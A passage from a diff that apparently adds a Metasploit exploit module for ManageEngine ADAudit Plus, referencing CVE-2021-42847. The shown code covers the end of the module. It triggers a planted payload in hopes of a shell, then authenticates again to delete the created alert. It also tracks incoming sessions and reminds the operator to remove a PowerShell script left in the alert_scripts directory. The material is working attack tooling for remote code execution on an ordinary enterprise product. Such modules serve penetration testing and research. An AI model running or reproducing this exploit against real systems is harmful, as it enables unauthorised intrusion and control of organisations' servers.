"#{login_msg} #{manual_trigger_msg}") + when adaudit_plus_status::NO_ACCESS + print_status("Received expected reply when trying to trigger the payload. Let's hope we get a shell...") + when adaudit_plus_status::SUCCESS + fail_with(Failure::Unknown, "Somehow authentication succeeded, which means the payload was not triggered. #{manual_trigger_msg}") + else + print_warning('Received unknown error code when trying to trigger the payload. The module will continue but exploitation will likely fail.') + end + + @pwned = 0 # used to keep track of successful exploitation and the number of shells we get in cleanup and on_new_session + end + + def cleanup + return unless @alert_name # this should only run if we actually created an alert + + if @pwned == 0 + print_error('Failed to obtain a shell. You could try increasing the WfsDelay value') + end + cookie_jar.clear + login_results = adaudit_plus_login(auth_domain, username, password, true) + case login_results['status'] + when adaudit_plus_status::SUCCESS + delete_alert(login_results['adapcsrf_cookie']) + when adaudit_plus_status::CONNECTION_FAILED + print_warning('Connection failed when trying to authenticate in order to perform cleanup. Manual cleanup required.') + when adaudit_plus_status::UNEXPECTED_REPLY + print_warning('Received unexpected reply when trying to authenticate in order to perform cleanup. Manual cleanup required.') + when adaudit_plus_status::NO_ACCESS + print_warning('Failed to authenticate in order to perform cleanup. Manual cleanup required.') + else + # this covers other potential statuses that this method may return in the future + # note that here the login method should never return adaudit_plus_status::NO_DOMAINS + # however, if it would do so due to some library change, treating it as unexpected reply makes sense + print_warning('Received unknown error code when trying to authenticate in order to perform cleanup. Manual cleanup required.') + end + end + + def on_new_session(cli) + @pwned += 1 + # if we wrote a PowerShell script to /alert_scripts, remind the user to delete it + # we may get two shells, so let's not repeat ourselves + if @pwned == 1 + # I noticed the the meterpreter payloads wouldn't always load stdapi and/or priv automatically + # but when loading them manually, they worked it fine + if datastore['PAYLOAD'] =~ /meterpreter/ # I tried using cli.type == 'meterpreter' but that broke the module for some reason + print_warning("If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv'") + end + + if @ps1_script_name + # meterpreter payloads seem incompatible with CVE-2021-42847, so it's very unlikely we'll ever be able to automatically remove the ps1 script + print_warning("Make sure to manually cleanup the #{@ps1_script_name} file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory") + end + end + super + end +end